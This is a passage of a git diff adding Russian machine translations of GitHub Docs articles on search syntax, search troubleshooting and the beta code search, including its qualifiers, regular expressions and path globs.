порядке убывания. +| `sort:author-date-asc` | [ **`feature org:github sort:author-date-asc`**](https://github.com/search?utf8=%E2%9C%93&q=feature+org%3Agithub+sort%3Aauthor-date-asc&type=Commits) соответствует фиксациям, содержащим слово "feature", в репозиториях, принадлежащих {% data variables.product.product_name %}, отсортированным по дате создания в порядке возрастания. + +## Сортировка по дате фиксации + +Квалификатор `sort:committer-date` позволяет сортировать по дате фиксации в порядке убывания или возрастания. + +| Квалификатор | Пример +| ------------- | ------------- +| `sort:committer-date` либо `sort:committer-date-desc` | [**feature org:github sort:committer-date**](https://github.com/search?utf8=%E2%9C%93&q=feature+org%3Agithub+sort%3Acommitter-date&type=Commits) соответствует фиксациям, содержащим слово "feature", в репозиториях, принадлежащих {% data variables.product.product_name %}, отсортированным по дате фиксации в порядке убывания. +| `sort:committer-date-asc` | [ **`feature org:github sort:committer-date-asc`**](https://github.com/search?utf8=%E2%9C%93&q=feature+org%3Agithub+sort%3Acommitter-date-asc&type=Commits) соответствует фиксациям, содержащим слово "feature", в репозиториях, принадлежащих {% data variables.product.product_name %}, отсортированным по дате фиксации в порядке возрастания. + +## Сортировка по дате обновления + +Квалификатор `sort:updated` позволяет сортировать по времени обновления элементов. + +| Квалификатор | Пример +| ------------- | ------------- +| `sort:updated` либо `sort:updated-desc` | [**feature sort:updated**](https://github.com/search?utf8=%E2%9C%93&q=feature+sort%3Aupdated&type=Repositories) соответствует репозиториям, содержащим слово "feature," отсортированным по дате обновления, начиная с ближайшей даты. +| `sort:updated-asc` | [**feature sort:updated-asc**](https://github.com/search?utf8=%E2%9C%93&q=feature+sort%3Aupdated-asc&type=Repositories) соответствует репозиториям, содержащим слово "feature," отсортированным по дате обновления, начиная с самой отдаленной даты. + +## Дополнительные материалы + +- [Сведения о поиске в {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github) +- [Фильтрация и поиск проблем и запросов на вытягивание](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests) diff --git a/translations/ru-RU/content/search-github/getting-started-with-searching-on-github/troubleshooting-search-queries.md b/translations/ru-RU/content/search-github/getting-started-with-searching-on-github/troubleshooting-search-queries.md new file mode 100644 index 000000000000..5887a80c6741 --- /dev/null +++ b/translations/ru-RU/content/search-github/getting-started-with-searching-on-github/troubleshooting-search-queries.md @@ -0,0 +1,40 @@ +--- +title: Устранение неполадок с поисковыми запросами +intro: 'При обнаружении непредвиденных результатов во время поиска в {% data variables.product.product_name %} можно устранить неполадки, проверив распространенные проблемы и ограничения.' +redirect_from: + - /articles/troubleshooting-search-queries + - /github/searching-for-information-on-github/troubleshooting-search-queries + - /github/searching-for-information-on-github/getting-started-with-searching-on-github/troubleshooting-search-queries +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub search +shortTitle: Troubleshoot search queries +ms.openlocfilehash: 2c90d144401974ebc44f4b80a1509593fe987329 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145118936' +--- +## Возможные истечения времени ожидания + +Выполнение некоторых запросов требует больших вычислительных ресурсов для нашей поисковой инфраструктуры. Чтобы обеспечить быстрый поиск для всех пользователей, мы ограничиваем продолжительность выполнения каждого отдельного запроса. В редких случаях, когда запрос превышает лимит времени, поиск возвращает все совпадения, которые были найдены до истечения времени ожидания, и информирует вас о том, что время ожидания истекло. + +Превышение времени ожидания не обязательно означает, что результаты поиска будут неполными. Это просто означает, что запрос был прекращен до того, как он выполнил поиск по всем возможным данным. + +## Ограничения на длину запроса + +Существуют некоторые ограничения на длину запросов при поиске по {% data variables.product.product_name %}: + +* Запросы длиннее 256 символов не поддерживаются +* Невозможно создать запрос, используя более пяти операторов `AND`, `OR` или `NOT` + +Определенные типы поиска, такие как поиск по коду, могут иметь дополнительные ограничения. Дополнительные сведения см. в документации по этим типам поиска. + +## Дополнительные материалы + +- [Сведения о поиске в GitHub](/search-github/getting-started-with-searching-on-github/about-searching-on-github) diff --git a/translations/ru-RU/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md b/translations/ru-RU/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md new file mode 100644 index 000000000000..b78c155178fd --- /dev/null +++ b/translations/ru-RU/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md @@ -0,0 +1,104 @@ +--- +title: Основные сведения о синтаксисе поиска +intro: 'При поиске в {% data variables.product.product_name %} можно создавать запросы, соответствующие определенным числам и словам.' +redirect_from: + - /articles/search-syntax + - /articles/understanding-the-search-syntax + - /github/searching-for-information-on-github/understanding-the-search-syntax + - /github/searching-for-information-on-github/getting-started-with-searching-on-github/understanding-the-search-syntax +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub search +shortTitle: Understand search syntax +ms.openlocfilehash: e233c32d01c53ca5e5aa815fffe4505b14696240 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145118928' +--- +## Запрос значений больше или меньше другого значения + +Вы можете использовать `>`, `>=`, `<`и `<=` для поиска значений, которые больше, больше или равны, меньше, меньше или равны другому значению. + +Запрос | Пример +------------- | ------------- +>n | **[cats stars:>1000](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%3E1000&type=Repositories)** соответствует репозиториям со словом "cats", которые имеют более 1000 звезд. +>=n | **[cats topics:>=5](https://github.com/search?utf8=%E2%9C%93&q=cats+topics%3A%3E%3D5&type=Repositories)** соответствует репозиториям со словом "cats", которые имеют не менее 5 тем. +<n | **[cats size:<10000](https://github.com/search?utf8=%E2%9C%93&q=cats+size%3A%3C10000&type=Code)** соответствует колу со словом "cats" в файлах, размер которых менее 10 КБ. +<=n | **[cats stars:<=50](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%3C%3D50&type=Repositories)** соответствует репозиториям со словом "cats", которые имеют не более 50 звезд. + +Вы также можете использовать [запросы в диапазоне](#query-for-values-between-a-range) для поиска значений, которые больше или равны либо меньше или равны другому значению. + +Запрос | Пример +------------- | ------------- +n..* | **[cats stars:10..*](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A10..*&type=Repositories)** аналогичен `stars:>=10` и соответствует репозиториям со словом "cats", которые имеют не менее 10 звезд. +*..n | **[cats stars:*..10](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%22*..10%22&type=Repositories)** аналогичен `stars:<=10` и соответствует репозиториям со словом "cats", которые имеют не более 10 звезд. + +## Запрос значений в определенном диапазоне + +Вы можете использовать синтаксис диапазона n..n для поиска значений в диапазоне, где первое число _n_ является наименьшим, а второе — наибольшим значением. + +Запрос | Пример +------------- | ------------- +n..n | **[cats stars:10..50](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A10..50&type=Repositories)** соответствует репозиториям со словом "cats", которые имеют от 10 до 50 звезд. + +## Запрос дат + +Вы можете искать даты до или после другой даты или даты в определенном диапазоне, используя `>`, `>=`, `<`, `<=` и [запросы в диапазоне](#query-for-values-between-a-range). {% data reusables.time_date.date_format %} + +Запрос | Пример +------------- | ------------- +>YYYY-MM-DD | **[cats created:>2016-04-29](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3E2016-04-29&type=Issues)** соответствует проблемам со словом "cats", которые были созданы после 29 апреля 2016 г. +>=YYYY-MM-DD | **[cats created:>=2017-04-01](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3E%3D2017-04-01&type=Issues)** соответствует проблемам со словом "cats", которые были созданы 1 апреля 2017 г или позднее. +<YYYY-MM-DD | **[cats pushed:<2012-07-05](https://github.com/search?q=cats+pushed%3A%3C2012-07-05&type=Code&utf8=%E2%9C%93)** соответствует коду со словом "cats" в репозиториях, которые были отправлены до 5 июля 2012 г. +<=YYYY-MM-DD | **[cats created:<=2012-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3C%3D2012-07-04&type=Issues)** соответствует проблемам со словом "cats", которые были созданы 4 июля 2012 г или ранее. +YYYY-MM-DD..YYYY-MM-DD | **[cats pushed:2016-04-30..2016-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+pushed%3A2016-04-30..2016-07-04&type=Repositories)** соответствует репозиториям со словом "cats", которые были созданы между концом апреля и 4 июля 2016 г. +YYYY-MM-DD..* | **[cats created:2012-04-30..*](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2012-04-30..*&type=Issues)** соответствует проблемам, созданным после 30 апреля 2012 г. и содержащим слово "cats". +*..YYYY-MM-DD | **[cats created:*..2012-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A*..2012-07-04&type=Issues)** соответствует проблемам, созданным до 4 июля 2012 г. и содержащим слово "cats". + +{% data reusables.time_date.time_format %} + +Запрос | Пример +------------- | ------------- +YYYY-MM-DDTHH:MM:SS+00:00 | **[cats created:2017-01-01T01:00:00+07:00..2017-03-01T15:30:15+07:00](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2017-01-01T01%3A00%3A00%2B07%3A00..2017-03-01T15%3A30%3A15%2B07%3A00&type=Issues)** соответствует проблемам, созданным между 01:00 1 января 2017 г. со смещением от UTC `07:00` и 15:00 1 марта 2017 г. со смещением от UTC `07:00`. +YYYY-MM-DDTHH:MM:SSZ | **[cats created:2016-03-21T14:11:00Z..2016-04-07T20:45:00Z](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2016-03-21T14%3A11%3A00Z..2016-04-07T20%3A45%3A00Z&type=Issues)** соответствует проблемам, созданным между 14:11 21 марта 2016 г. и 20:45 7 апреля 2016 г. + +## Исключение определенных результатов + +Вы можете исключать результаты, содержащие определенное слово, с помощью синтаксиса `NOT`. Оператор `NOT` можно использовать только для строковых ключевых слов. Для чисел или дат он не работает. + +Запрос | Пример +------------- | ------------- +`NOT` | **[hello NOT world](https://github.com/search?q=hello+NOT+world&type=Repositories)** соответствует репозиториям, в которых есть слово "hello" но нет слова "world". + +Другой способ сузить результаты поиска — исключить определенные подмножества. Вы можете указать префикс `-` перед любым квалификатором поиска, чтобы исключить все результаты, соответствующие этому квалификатору. + +Запрос | Пример +------------- | ------------- +-QUALIFIER | **[`cats stars:>10 -language:javascript`](https://github.com/search?q=cats+stars%3A>10+-language%3Ajavascript&type=Repositories)** соответствует репозиториям со словом "cats", которые имеют более 10 звезд, но не написаны на JavaScript. + | **[`mentions:defunkt -org:github`](https://github.com/search?utf8=%E2%9C%93&q=mentions%3Adefunkt+-org%3Agithub&type=Issues)** соответствует проблемам, в которых упоминается @defunkt, но которые не находятся в репозиториях организации GitHub. + +## Использование кавычек для запросов с пробелами + +Если поисковый запрос содержит пробелы, их необходимо заключить в кавычки. Пример: + +* [cats NOT "hello world"](https://github.com/search?utf8=✓&q=cats+NOT+"hello+world"&type=Repositories) соответствует репозиториям со словом "cats", в которых нет слов "hello world". +* [build label:"bug fix"](https://github.com/search?utf8=%E2%9C%93&q=build+label%3A%22bug+fix%22&type=Issues) соответствует проблемам со словом "build", которые имеют метку "bug fix". + +Некоторые символы, не являющиеся буквами или цифрами, например пробелы, удаляются из запросов поиска кода в кавычках, поэтому результаты могут быть непредвиденными. + +## Запросы с именами пользователей + +Если поисковый запрос содержит квалификатор, для которого требуется имя пользователя, такой как `user`, `actor`или `assignee`, вы можете использовать любое имя пользователя {% data variables.product.product_name %}, указать конкретного пользователя или `@me`, чтобы указать текущего пользователя. + +Запрос | Пример +------------- | ------------- +`QUALIFIER:USERNAME` | [`author:nat`](https://github.com/search?q=author%3Anat&type=Commits) соответствует фиксациям, созданным @nat +`QUALIFIER:@me` | [`is:issue assignee:@me`](https://github.com/search?q=is%3Aissue+assignee%3A%40me&type=Issues) соответствует проблемам, назначенным пользователю, просматривающему результаты + +Вы можете использовать `@me` только с квалификатором, а не в качестве условия поиска, например `@me main.workflow`. diff --git a/translations/ru-RU/content/search-github/github-code-search/about-github-code-search.md b/translations/ru-RU/content/search-github/github-code-search/about-github-code-search.md new file mode 100644 index 000000000000..e59ee95ef929 --- /dev/null +++ b/translations/ru-RU/content/search-github/github-code-search/about-github-code-search.md @@ -0,0 +1,58 @@ +--- +title: Сведения о поиске кода GitHub (бета-версия) +intro: 'Вы можете искать, перемещаться по коду и понимать его в GitHub с помощью нового поиска кода (бета-версия).' +allowTitleToDifferFromFilename: true +versions: + feature: github-code-search +topics: + - GitHub search +ms.openlocfilehash: 8bf3232e87de2fc773f69bf5047e75ab0e52c7e2 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160224' +--- +{% note %} + +**Примечание.** {% data reusables.search.code-search-code-view-beta-note %} + +{% data reusables.search.code-view-link %} + +{% endnote %} + +## Сведения о новом поиске кода (бета-версия) + +Новый поиск кода (бета-версия) позволяет быстро искать, перемещаться по коду, коду команды и коду открытый код сообщества, и все это из {% data variables.product.prodname_dotcom_the_website %}. Эта поисковая система предназначена для масштабирования, поддержки кода и поддержки поиска кода в GitHub с помощью регулярных выражений, логических операций, специализированных квалификаторов и поиска символов. Дополнительные сведения о синтаксисе нового поиска кода (бета-версия) см. в разделе [Основные сведения о синтаксисе поиска кода GitHub (бета-версия).](/search-github/github-code-search/understanding-github-code-search-syntax) + +В дополнение к новой поисковой системе кода поиск кода (бета-версия) включает новые функции в интерфейсе поиска в {% data variables.product.prodname_dotcom_the_website %}, такие как предложения, завершения и возможность сохранения поисковых запросов. Новый интерфейс поиска позволяет быстрее и проще находить то, что вы ищете. Дополнительные сведения см. в разделе [Использование поиска кода GitHub (бета-версия)](/search-github/github-code-search/using-github-code-search)". + +{% data reusables.search.non-code-search-explanation %} + +Новый поиск кода (бета-версия) тесно интегрирован с переработанным представлением кода (бета-версия) в {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.search.code-view-link %} + +Чтобы получить доступ к новому поиску кода (бета-версия) вместе с новым представлением кода, можно зарегистрироваться в [списке ожидания](https://github.com/features/code-search-code-view/signup). + +## Включение и отключение нового поиска кода и представления кода (бета-версия) + +{% data reusables.search.enabling-and-disabling-code-search-and-view-beta %} + +## Ограничения + +Мы проиндексировали многие общедоступные репозитории для нового поиска кода (бета-версия) и продолжаем индексировать больше. Кроме того, частные репозитории пользователей GitHub в бета-версии индексируются и доступны для поиска участниками бета-версии, которые уже имеют доступ к этим частным репозиториям на GitHub.com. Однако в настоящее время могут не индексироваться очень большие репозитории, и индексируется не весь код. + +Текущие ограничения индексированного кода: + - Предоставленный поставщиком и созданный код исключается (как определено [Enry](https://github.com/go-enry/go-enry)) + - Пустые файлы и файлы свыше 350 КиБ исключаются + - Включены только файлы в кодировке UTF-8 + - Очень большие репозитории могут не индексироваться + +В настоящее время поиск кода поддерживается только в ветви репозитория по умолчанию. + +Результаты для любого поиска с новым кодом поиска (бета-версия) ограничены 100 результатами (10 страниц). В настоящее время сортировка для результатов поиска кода не поддерживается. Это ограничение применяется только к поиску кода с помощью нового поиска кода (бета-версия) и не применяется к другим типам поиска. + +Новый поиск кода (бета-версия) поддерживает поиск определений символов в коде, таких как определения функций или классов, с помощью `symbol:` квалификатора. Однако обратите внимание, что `symbol:` квалификатор выполняет поиск только определений, а не ссылок, и еще не все типы символов или языки поддерживаются полностью. Список поддерживаемых языков см. в разделе "[Квалификатор символов](/search-github/github-code-search/understanding-github-code-search-syntax#symbol-qualifier)". + +## Отзывы и поддержка + +Вы можете просмотреть отзывы о новом поиске кода (бета-версия) и поделиться ими на нашем [форуме обсуждений](https://github.com/orgs/community/discussions/categories/code-search-and-navigation). diff --git a/translations/ru-RU/content/search-github/github-code-search/index.md b/translations/ru-RU/content/search-github/github-code-search/index.md new file mode 100644 index 000000000000..c0cef4935e09 --- /dev/null +++ b/translations/ru-RU/content/search-github/github-code-search/index.md @@ -0,0 +1,26 @@ +--- +title: Поиск кода GitHub (бета-версия) +intro: 'Для поиска {% data variables.product.product_name %}можно использовать широкий спектр синтаксиса. Вы можете настроить область поиска, создавать запросы и устранять неполадки, а также сужать результаты поиска с помощью квалификаторов.' +allowTitleToDifferFromFilename: true +versions: + feature: github-code-search +topics: + - GitHub search +children: + - /about-github-code-search + - /using-github-code-search + - /understanding-github-code-search-syntax +ms.openlocfilehash: a2420a27a7026b61dff0d05650d4b525f9d55adb +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160029' +--- +{% note %} + +**Примечание.** {% data reusables.search.code-search-code-view-beta-note %} + +{% data reusables.search.code-search-link %} {% data reusables.search.code-view-link %} + +{% endnote %} diff --git a/translations/ru-RU/content/search-github/github-code-search/understanding-github-code-search-syntax.md b/translations/ru-RU/content/search-github/github-code-search/understanding-github-code-search-syntax.md new file mode 100644 index 000000000000..e2f61262c5d7 --- /dev/null +++ b/translations/ru-RU/content/search-github/github-code-search/understanding-github-code-search-syntax.md @@ -0,0 +1,293 @@ +--- +title: Основные сведения о синтаксисе поиска кода GitHub (бета-версия) +intro: 'Вы можете создавать поисковые запросы для нужных результатов с помощью специализированных квалификаторов кода, регулярных выражений и логических операций.' +allowTitleToDifferFromFilename: true +versions: + feature: github-code-search +topics: + - GitHub search +ms.openlocfilehash: 098da2b7fe8a8c5466805c583e6b029b5b9b58c1 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160066' +--- +{% note %} + +**Примечание.** {% data reusables.search.code-search-code-view-beta-note %} + +{% data reusables.search.code-search-link %} {% data reusables.search.code-view-link %} + +{% endnote %} + +## Сведения о новой структуре запросов поиска кода (бета-версия) + +Синтаксис поиска в этой статье применяется только к коду с включенным новым поиском кода (бета-версия). {% data reusables.search.non-code-search-explanation %} + +Поисковые запросы состоят из условий поиска, содержащих текст, который требуется найти, и квалификаторов, которые сужают область поиска. + +Пустой термин без квалификаторов будет соответствовать содержимому файла или пути к файлу. + +Например, следующий запрос: + +``` +http-push +``` + +Приведенный выше запрос будет соответствовать файлу `docs/http-push.txt`, даже если он не содержит термин `http-push`. Он также будет соответствовать файлу с именем `example.txt` , если он содержит термин `http-push`. + +Вы можете ввести несколько терминов, разделенных пробелами, чтобы найти документы, удовлетворяющие обоим условиям. + +Например, следующий запрос: + +``` +sparse index +``` + +Результаты поиска будут включать все документы, содержащие термины `sparse` и `index`, в любом порядке. В качестве примеров он будет соответствовать файлу с , файлу `SparseIndexVector`с фразой `index for sparse trees`и даже файлу с именем `index.txt` , который содержит термин `sparse`. + +Поиск нескольких терминов, разделенных пробелами, эквивалентен поиску `hello AND world`. Другие логические операции, такие как `hello OR world`, также поддерживаются в новом поиске кода (бета-версия). Дополнительные сведения о логических операциях см. в разделе [Использование логических операций](#using-boolean-operations). + +Новый поиск кода (бета-версия) также поддерживает поиск точной строки, включая пробелы. Дополнительные сведения см. в разделе [Запрос точного соответствия](#query-for-an-exact-match). + +Поиск кода можно сузить с помощью специализированных квалификаторов, таких как `repo:`, `language:` и `path:`. Дополнительные сведения о квалификаторах, которые можно использовать в новом поиске кода (бета-версия), см. в разделе [Использование квалификаторов](#using-qualifiers). + +Вы также можете использовать регулярные выражения в поисках, окружив выражение в обратных косых чертах. Дополнительные сведения об использовании регулярных выражений см. в разделе [Использование регулярных выражений](#using-regular-expressions). + +## Запрос точного соответствия + +Чтобы найти точную строку, включая пробелы, можно заключить строку в кавычки. Например: + +``` +"sparse index" +``` + +Чтобы найти фразу, содержащую кавычки, можно экранировать кавычки с помощью обратной косой черты. Например, чтобы найти точную строку `name = "tensorflow"`, можно выполнить поиск: + +``` +"name = \"tensorflow\"" +``` + +Строки в кавычках также можно использовать в квалификаторах, например: + +``` +path: git language: "protocol buffers" +``` + +## Использование логических операций + +Новый поиск кода (бета-версия) поддерживает логические выражения. Операторы `AND`, `OR`и `NOT` можно использовать для объединения условий поиска. + +По умолчанию смежные термины, разделенные пробелами, эквивалентны использованию `AND` оператора . Например, поисковый запрос `sparse index` совпадает `sparse AND index`с , а это означает, что результаты поиска будут включать все документы, содержащие как термины `sparse` , так и `index`, в любом порядке. + +Для поиска документов, содержащих один или другой термин, можно использовать `OR` оператор . Например, следующий запрос будет соответствовать документам, содержащим или `sparse` `index`: + +``` +sparse OR index +``` + +Чтобы исключить файлы из результатов поиска, можно использовать `NOT` оператор . Например, чтобы исключить файл в каталоге `__testing__` , можно выполнить поиск: + +``` +"fatal error" NOT path:__testing__ +``` + +Круглые скобки можно использовать для выражения более сложных логических выражений. Например: + +``` +(language:ruby OR language:python) AND NOT path:"/tests/" +``` + +## Использование квалификаторов + +Для уточнения поиска можно использовать специализированные ключевые слова. +- [Квалификатор репозитория](#repository-qualifier) +- [Квалификаторы организации и пользователей](#organization-and-user-qualifiers) +- [Квалификатор языка](#language-qualifier) +- [Квалификатор пути](#path-qualifier) +- [Квалификатор символов](#symbol-qualifier) +- [Квалификатор содержимого](#content-qualifier) +- [Квалификатор is](#is-qualifier) + +### Квалификатор репозитория + +Для поиска в репозитории `repo:` используйте квалификатор. Необходимо указать полное имя репозитория, включая владельца. Например: + +``` +repo:github/linguist +``` + +Для поиска в наборе репозиториев можно объединить несколько `repo:` квалификаторов с логическим оператором `OR`. Пример: + +``` +repo:github/linguist OR repo:tree-sitter/tree-sitter +``` + +{% note %} + +**Примечание:** Новая бета-версия поиска кода в настоящее время не поддерживает регулярные выражения или частичное сопоставление имен репозитория, поэтому для работы квалификатора необходимо ввести все имя репозитория (включая префикс `repo:` пользователя). + +{% endnote %} + +### Квалификаторы организации и пользователей + +Для поиска файлов в организации используйте `org:` квалификатор. Например: + +``` +org:github +``` + +Для поиска файлов в личной учетной записи используйте `user:` квалификатор. Пример: + +``` +user:octocat +``` + +{% note %} + +**Примечание:** Новая бета-версия поиска кода в настоящее время не поддерживает регулярные выражения или частичное сопоставление для имен организаций или пользователей, поэтому вам придется ввести всю организацию или имя пользователя, чтобы квалификатор работал. + +{% endnote %} + + +### Квалификатор языка + +Чтобы сузить область до определенных языков, используйте `language:` квалификатор. Например: + +``` +language: ruby OR language:cpp OR language:csharp +``` + +Полный список поддерживаемых имен языков см. в разделе [languages.yaml](https://github.com/github/linguist/blob/master/lib/linguist/languages.yml) в [github/linguist](https://github.com/github/linguist). Если предпочитаемый язык отсутствует в списке, можно открыть запрос на вытягивание, чтобы добавить его. + +### Квалификатор пути + +Для поиска в путях к файлам `path:` используйте квалификатор. Это будет соответствовать файлам, содержащим термин в любом месте пути к файлу. Например, чтобы найти файлы, содержащие термин `unit_tests` в пути, используйте: + +``` +path:unit_tests +``` + Приведенный выше запрос будет соответствовать обоим `src/unit_tests/my_test.py` и `src/docs/unit_tests.md` , так как оба они содержат `unit_test` где-то в своем пути. + + Чтобы сопоставить только определенное имя файла (а не часть пути), можно использовать регулярное выражение: + + ``` + path:/(^|\/)README\.md$/ + ``` +Обратите внимание, что `.` в имени файла экранируется, так как `.` имеет особое значение для регулярных выражений. Дополнительные сведения об использовании регулярных выражений см. в разделе [Использование регулярных выражений](#using-regular-expressions). + +
+ +В квалификаторе также можно использовать некоторые ограниченные `path:` выражения glob. + +Например, для поиска файлов с расширением `txt`можно использовать: + +``` +path:*.txt +``` +
+Для поиска файлов JavaScript в каталоге `src` можно использовать: + +``` +path:src/*.js +``` + +- По умолчанию выражения glob не привязаны к началу пути, поэтому приведенное выше выражение по-прежнему будет соответствовать пути, например `app/src/main.js`. Но если префикс выражения с `/`помощью , оно будет привязано к началу. Например: + + ``` + path:/src/*.js + ``` +- Обратите внимание, что `*` не соответствует символу `/` , поэтому в приведенном выше примере все результаты будут прямыми `src` потомками каталога. Для сопоставления в подкаталогах, чтобы результаты включали глубоко вложенные файлы, такие как `/src/app/testing/utils/example.js`, можно использовать .`**` Например: + + ``` + path:/src/**/*.js + ``` +
+ +Можно также использовать глобальный `?` символ. Например, чтобы сопоставить путь `file.aac` или `file.abc`, можно использовать: + +``` +path:*.a?c +``` +
+Чтобы найти имя файла, содержащее специальный символ, например `*` или `?`, просто используйте строку в кавычках: + +``` +path:"file?" +``` + +Так как выражения glob отключены для строк в кавычках, приведенный выше запрос будет соответствовать только путям, содержащим строку `file?`литерала . + +### Квалификатор символов + +Вы можете искать определения символов в коде, например определения функций или классов, с помощью `symbol:` квалификатора. Поиск символов основан на анализе кода с помощью экосистемы средства синтаксического анализа открытый код [Tree-sitter](https://github.com/tree-sitter), поэтому дополнительная настройка или интеграция средств сборки не требуется. + +Например, чтобы найти символ с именем `WithContext`: + +``` +language:go symbol:WithContext +``` + +В некоторых языках можно искать символы, используя префикс (например, префикс имени класса). Например, для метода `deleteRows` в структуре `Maint`можно выполнить поиск `symbol:Maint.deleteRows` , если вы используете Go или `symbol:Maint::deleteRows` в Rust. + +Можно также использовать регулярные выражения с квалификатором символов. Например, следующий запрос найдет преобразования, которые люди реализовали в Rust для `String` типа : + +``` +language:rust symbol:/^String::to_.*/ +``` + +Обратите внимание, что этот квалификатор ищет только определения, а не ссылки, и пока не все типы символов или языки полностью поддерживаются. Извлечение символов поддерживается для следующих языков. + +- C# +- Python +- Go +- Java +- JavaScript +- TypeScript +- PHP +- Protocol Buffers +- Ruby +- Rust + +Мы работаем над добавлением поддержки дополнительных языков. Если вы хотите внести свой вклад в эту работу, вы можете добавить поддержку своего языка в экосистеме синтаксического [анализатора открытый код tree-sitter](https://github.com/tree-sitter), на которой основан поиск символов. + +### Квалификатор содержимого + +По умолчанию голые термины ищут как пути, так и содержимое файла. Чтобы ограничить поиск только содержимым файла, а не путями к файлу `content:` , используйте квалификатор. Например: + +``` +content:README.md +``` + +Этот запрос будет сопоставлять только файлы, содержащие термин `README.md`, а не соответствующие файлы с именем `README.md`. + +### Является квалификатором + +Для фильтрации по свойствам `is:` документа можно использовать квалификатор. В настоящее время в этом квалификаторе поддерживается `archived`только значение , которое ограничивает поиск архивными репозиториями. Например: + +``` +path:/MIT.txt is:archived +``` + +Обратите внимание, что `is:` квалификатор можно инвертировать с помощью `NOT` оператора . Для поиска неархивированных репозиториев можно выполнить поиск: + +``` +log4j NOT is:archived +``` + +## Использование регулярных выражений + +Новый поиск кода (бета-версия) поддерживает регулярные выражения для поиска шаблонов в коде. Регулярные выражения можно использовать в терминах поиска на пустом языке, а также во многих квалификаторов, окружив регулярное выражение в обратных косых чертах. + +Например, для поиска регулярного выражения `sparse.*index`следует использовать: + +``` +/sparse.*index/ +``` + +Обратите внимание, что вам придется экранировать все косые черты в регулярном выражении. Например, для поиска файлов в каталоге `App/src` используется: + +``` +/^App\/src\// +``` diff --git a/translations/ru-RU/content/search-github/github-code-search/using-github-code-search.md b/translations/ru-RU/content/search-github/github-code-search/using-github-code-search.md new file mode 100644 index 000000000000..a452e48bf5a1 --- /dev/null +++ b/translations/ru-RU/content/search-github/github-code-search/using-github-code-search.md @@ -0,0 +1,81 @@ +--- +title: Использование GitHub Code Search (бета-версия) +intro: 'Вы можете использовать предложения, завершения и сохраненные поисковые запросы в обновленном интерфейсе поиска, чтобы быстро найти то, что вы ищете в {% data variables.product.prodname_dotcom_the_website %}.' +allowTitleToDifferFromFilename: true +versions: + feature: github-code-search +topics: + - GitHub search +ms.openlocfilehash: 7578dd05f251b1df23fbd64c63d04e533f7fa9ef +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160200' +--- +{% note %} + +**Примечание.** {% data reusables.search.code-search-code-view-beta-note %} + +{% data reusables.search.code-search-link %} {% data reusables.search.code-view-link %} + +{% endnote %} + +## Сведения об использовании нового поиска кода (бета-версия) + +Получив доступ к новой бета-версии поиска кода, GitHub будет индексировать все репозитории, которые у вас есть, и все репозитории в организациях, в которых вы являетесь участником, как общедоступные, частные, так и внутренние. Это означает, что вы можете выполнять поиск по всем репозиториям, а также общедоступным репозиториям в {% data variables.product.prodname_dotcom_the_website %}, которые уже проиндексированы. Только пользователи, имеющие разрешение на просмотр кода в {% data variables.product.prodname_dotcom_the_website %}, смогут видеть ваш код в результатах поиска. Вилки индексируются и доступны для поиска так же, как и другие репозитории. + +Не весь код индексируется, и в настоящее время можно выполнять поиск только ветвях репозиториев по умолчанию. Дополнительные сведения об известных ограничениях см. в разделе [Сведения о поиске кода GitHub (бета-версия)](/search-github/github-code-search/about-github-code-search#limitations)". + +Новая бета-версия поиска кода интегрирована в бета-версию нового представления кода. {% data reusables.search.code-view-link %} + +## Использование строки поиска + +На вершине новой системы поиска кода бета-версия включает обновленный интерфейс поиска в {% data variables.product.prodname_dotcom_the_website %}. Используя предложения, завершения и сохраненные поисковые запросы, вы можете быстро найти нужные данные, часто не вводя полный запрос или просматривая страницу результатов поиска. + +Дополнительные сведения о синтаксисе поиска нового кода (бета-версия) см. в разделе [Основные сведения о синтаксисе поиска кода GitHub (бета-версия).](/search-github/github-code-search/understanding-github-code-search-syntax) + +{% data reusables.search.non-code-search-explanation %} + +1. В верхней области навигации {% data variables.product.prodname_dotcom_the_website %} щелкните строку поиска. +1. В строке поиска вы увидите список предложений, упорядоченных по категориям, включая последние поисковые запросы и рекомендуемые репозитории, команды и проекты, к которым у вас есть доступ. Вы также можете просмотреть список сохраненных поисковых запросов, которые вы создали. Дополнительные сведения о сохраненных поисках см. в разделе [Создание сохраненных поисковых запросов и управление 